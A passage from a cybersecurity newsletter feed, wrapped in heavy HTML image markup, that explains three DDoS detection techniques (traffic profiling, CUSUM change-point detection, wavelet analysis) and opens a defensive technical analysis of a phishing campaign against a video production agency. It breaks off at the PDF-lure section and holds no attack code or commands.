https://substackcdn.com/image/fetch/$s_!IgG9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IgG9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png" width="1456" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:963683,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/189413978?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IgG9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 424w, https://substackcdn.com/image/fetch/$s_!IgG9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 848w, https://substackcdn.com/image/fetch/$s_!IgG9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 1272w, https://substackcdn.com/image/fetch/$s_!IgG9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Activity profiling works by continuously comparing current traffic against that learned baseline and asking &#8220;is something off?&#8221;</p><div class="pullquote"><p><strong>Detects: Does this traffic look normal compared to what we usually see?</strong></p></div><p>There are two specific things it watches for:</p><p>First, it groups packets into &#8220;flows,&#8221; which are bunches of packets that share similar header information such as the same source IP, destination port, and protocol. </p><p>It watches the average packet rate within each flow. If a flow that normally sends 10 packets per second suddenly sends 10,000, that&#8217;s a red flag. </p><p>A higher packet rate also means packets are arriving closer and closer together in time, which is another measurable signal.</p><p>Second, it measures entropy, which is a measure of randomness or unpredictability in the traffic. Normal traffic has a certain expected level of randomness; it varies, but in familiar ways. Attack traffic tends to break that pattern in one of two directions. A botnet sending floods of identical packets looks too uniform and too low-entropy. </p><p>On the other hand, an attacker spoofing random source IP addresses, random ports, and random packet sizes to avoid detection looks too random and too high-entropy. Either extreme is suspicious. </p><p>Think of it like a bouncer watching a crowd: if 500 people suddenly arrive all wearing identical outfits, that&#8217;s weird. But if 500 people arrive each with a completely randomized, implausible-looking ID from a different country, that&#8217;s also weird. Both extremes stand out against what normal looks like.</p><p>The main practical challenge is volume. You can&#8217;t build a profile on every individual packet, so the technique clusters flows with similar characteristics together and analyzes the clusters, which is far more manageable.</p><div><hr></div><h2><strong>#2 Sequential Change-Point Detection</strong></h2><p>Where activity profiling asks &#8220;does this look wrong?&#8221;, sequential change-point detection asks a more specific question: &#8220;at what precise moment did things change?&#8221;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2-CO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2-CO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 424w, https://substackcdn.com/image/fetch/$s_!2-CO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 848w, https://substackcdn.com/image/fetch/$s_!2-CO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 1272w, https://substackcdn.com/image/fetch/$s_!2-CO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2-CO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png" width="1456" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1027183,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/189413978?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2-CO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 424w, https://substackcdn.com/image/fetch/$s_!2-CO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 848w, https://substackcdn.com/image/fetch/$s_!2-CO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 1272w, https://substackcdn.com/image/fetch/$s_!2-CO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8f11fb3-ebdd-4ebb-a17f-28130d5a526a_1456x720.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p> It&#8217;s less about identifying what the attack looks like and more about pinpointing the transition point between normal and abnormal.</p><div class="pullquote"><p><strong>Detects: Exactly when did traffic go from normal to abnormal?</strong></p></div><p>It works by filtering traffic into categories based on IP address, port, and protocol, then plotting traffic flow rate over time on a graph. You end up with a line that goes up and down as traffic fluctuates. The algorithm then watches that line for a sudden, sustained shift, not just a brief spike, but a point where the average genuinely changes and stays changed.</p><p>The specific tool it uses is called the CUSUM algorithm, which stands for cumulative sum. Instead of just checking whether traffic is high right now, it keeps a running total of how far current traffic deviates from the expected average. </p><p>Small random fluctuations cancel each other out over time and the running total stays near zero. But if traffic shifts significantly and stays shifted, the running total grows until it crosses a threshold and triggers an alarm. </p><p>This makes it much better at catching gradual attacks that creep up slowly rather than hitting all at once, which is exactly the behavior of network worms that slowly scan and spread across a network.</p><p>It also has forensic value. It can tell you not just that an attack happened, but approximately when it started, which matters when you&#8217;re investigating an incident after the fact.</p><div><hr></div><h2><strong>#3 Wavelet-Based Signal Analysis</strong></h2><p>This technique treats network traffic as a signal, similar to an audio signal, and breaks it down into its component frequencies. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LqMU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LqMU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 424w, https://substackcdn.com/image/fetch/$s_!LqMU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 848w, https://substackcdn.com/image/fetch/$s_!LqMU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 1272w, https://substackcdn.com/image/fetch/$s_!LqMU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LqMU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png" width="1456" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1118027,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/189413978?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LqMU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 424w, https://substackcdn.com/image/fetch/$s_!LqMU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 848w, https://substackcdn.com/image/fetch/$s_!LqMU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 1272w, https://substackcdn.com/image/fetch/$s_!LqMU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cde8d8-d4fa-46b2-8e80-f52d269590f9_1456x720.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Think of a graphic equalizer on a stereo system. A song contains many frequencies at once, including bass, midrange, and treble, and the equalizer separates them so you can see and adjust each one independently. </p><div class="pullquote"><p><strong> Detects: Is there an attack signal hidden inside the normal traffic?</strong></p></div><p>Wavelet analysis does the same thing to network traffic, breaking it down into frequency bands and examining how much energy is present in each one.</p><p>Normal network traffic is predominantly low-frequency. It flows in relatively steady, predictable patterns over time. Attack traffic introduces high-frequency components, which are rapid, spiky, irregular bursts. </p><p>Even when attack traffic is mixed in with normal traffic, those high-frequency spikes stand out in the analysis, the same way you could hear a jackhammer outside even while music is playing inside. The jackhammer occupies a different frequency range and you can isolate it.</p><p>The practical advantage of this approach is that it can detect anomalies buried inside otherwise normal-looking traffic, which the other two techniques might miss if the overall volume hasn&#8217;t changed dramatically.</p><div><hr></div><h2><strong>Combining the Techniques</strong></h2><p>Using all three detection methods together gives much better coverage than relying on any one of them alone.</p><p><strong>Activity profiling</strong> asks whether the overall pattern of traffic looks abnormal compared to a learned baseline. It&#8217;s good for catching volumetric attacks and statistically unusual traffic behavior.</p><p><strong>Sequential change-point detection</strong> asks when exactly things shifted from normal to abnormal. It&#8217;s good for catching gradual attacks and for pinpointing when an attack began.</p><p><strong>Wavelet analysis</strong> asks whether there&#8217;s an attack signal hidden inside the traffic that can be isolated by frequency. It&#8217;s good for catching subtle attacks that are camouflaged within otherwise normal traffic levels.</p><div><hr></div><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;f4ba3434-7849-4d85-bd36-49b0582cbee6&quot;,&quot;caption&quot;:&quot;Denial of Service (DoS) attacks aim to make a website, application, or network unavailable to legitimate users by overwhelming it with malicious traffic or requests.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;lg&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Denial of Service Attacks (DoS / DDoS)&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2026-01-29T23:33:43.430Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!XwOd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F800174b8-f78e-45bf-ae2c-f83672f575f2_1500x1000.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/denial-of-service-attacks-dos-ddos&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:186247366,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:8,&quot;comment_count&quot;:3,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Video Production Agencies Targeted in Advanced Phishing Scheme (Technical Analysis)]]></title><description><![CDATA[One morning, the CEO of a video production agency in Hollywood, California woke up to a series of confused messages from his contacts asking about an email he had supposedly sent early that morning.]]></description><link>https://darkmarc.substack.com/p/video-production-agencies-targeted</link><guid isPermaLink="false">https://darkmarc.substack.com/p/video-production-agencies-targeted</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Sat, 07 Feb 2026 04:58:37 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c7c342e3-1512-4e6f-9a5d-5810c91ff887_1456x1048.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>One morning, the CEO of a video production agency in Los Angeles, California</strong> woke up to a series of confused messages from his contacts asking about an email he had supposedly sent early that morning.</p><div class="pullquote"><p>&#8220;Did you mean to send me this email? I can&#8217;t open the attachment and it&#8217;s asking me to enter my Gmail password. <strong>Have you been hacked?&#8221;</strong>, read one reply&#8230;</p></div><p><strong>Looking at his outbox, he realized his business account had been hijacked.</strong> </p><p>The hacker sent messages to everyone in his address book, including his professional network. This list included high-level contacts at some of the world&#8217;s largest and most influential companies across multiple industries.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!H3z1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!H3z1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 424w, https://substackcdn.com/image/fetch/$s_!H3z1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 848w, https://substackcdn.com/image/fetch/$s_!H3z1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 1272w, https://substackcdn.com/image/fetch/$s_!H3z1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!H3z1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png" width="800" height="655" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:655,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:118259,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!H3z1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 424w, https://substackcdn.com/image/fetch/$s_!H3z1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 848w, https://substackcdn.com/image/fetch/$s_!H3z1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 1272w, https://substackcdn.com/image/fetch/$s_!H3z1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a971148-4121-44de-aef5-a48a2902b0c5_800x655.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This type of scam is part of a broader wave of business email compromise (BEC) attacks that drain $2.77 billion per year from U.S. companies.</p><p>For cyber criminals, small businesses have become a strategic attack vector. By compromising a trusted producer or agency, hackers gain a legitimate-looking platform to launch phishing attempts against some of the largest brands in the world.</p><p>These smaller vendors often have direct lines of communication with executive leadership at multi-billion dollar companies but operate with fewer security layers than a major enterprise.</p><div><hr></div><h2>Overview</h2><p>In this guide, I break down the infrastructure behind a highly professional phishing campaign, highlighting capabilities that significantly increase business risk:</p><ul><li><p><strong>Use of trusted cloud platforms to bypass security controls</strong>, allowing malicious links to appear legitimate and evade traditional email and web filtering.</p></li><li><p><strong>Deliberate techniques to evade detection and investigation</strong>, preventing security tools and analysts from seeing or analyzing the phishing content.</p></li><li><p><strong>Rapidly changeable attack infrastructure</strong>, enabling attackers to update payloads instantly and sustain campaigns even after partial takedowns.</p></li><li><p><strong>Advanced methods to defeat security monitoring and fraud detection</strong>, making automated defenses less effective and increasing dwell time.</p></li><li><p><strong>Remote takeover capability of active user sessions</strong>, enabling attackers to observe, manipulate, and persistently control victim browser activity in real time.</p></li><li><p><strong>Credential theft that occurs during legitimate logins</strong>, allowing attackers to steal passwords and session tokens without disrupting the user experience, using Google&#8217;s real authentication server.</p></li></ul><p>The investigation tracks the attack from the initial PDF to the phishing page, showing how it evades detection and captures credentials. </p><p>Evidence points to a self-managed phishing operation rather than a service-for-hire, based on exposed infrastructure and consistent cloud patterns.</p><div><hr></div><blockquote><p><strong>Heads-up: </strong>The next sections are technical, showing how these phishing operations work. Each is different, but some common patterns emerge.</p></blockquote><div><hr></div><h2>The Attack Vector: Malicious PDF Attachment</h2><p>Modern email security systems scan attachments for malicious files and block delivery of obvious threats. To circumvent these defenses, attackers use seemingly benign PDF files containing only embedded hyperlinks rather than executable code. </p><p>While Gmail scans PDFs for malware, it often fails to detect phishing lures or links that redirect to third-party sites, especially when those sites use trusted cloud infrastructure like CloudFlare Pages, Ngrok, or Frame. </p><p>Attackers increasingly rely on these legitimate services to avoid triggering security filters, since blocking them outright would generate too many false positives.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 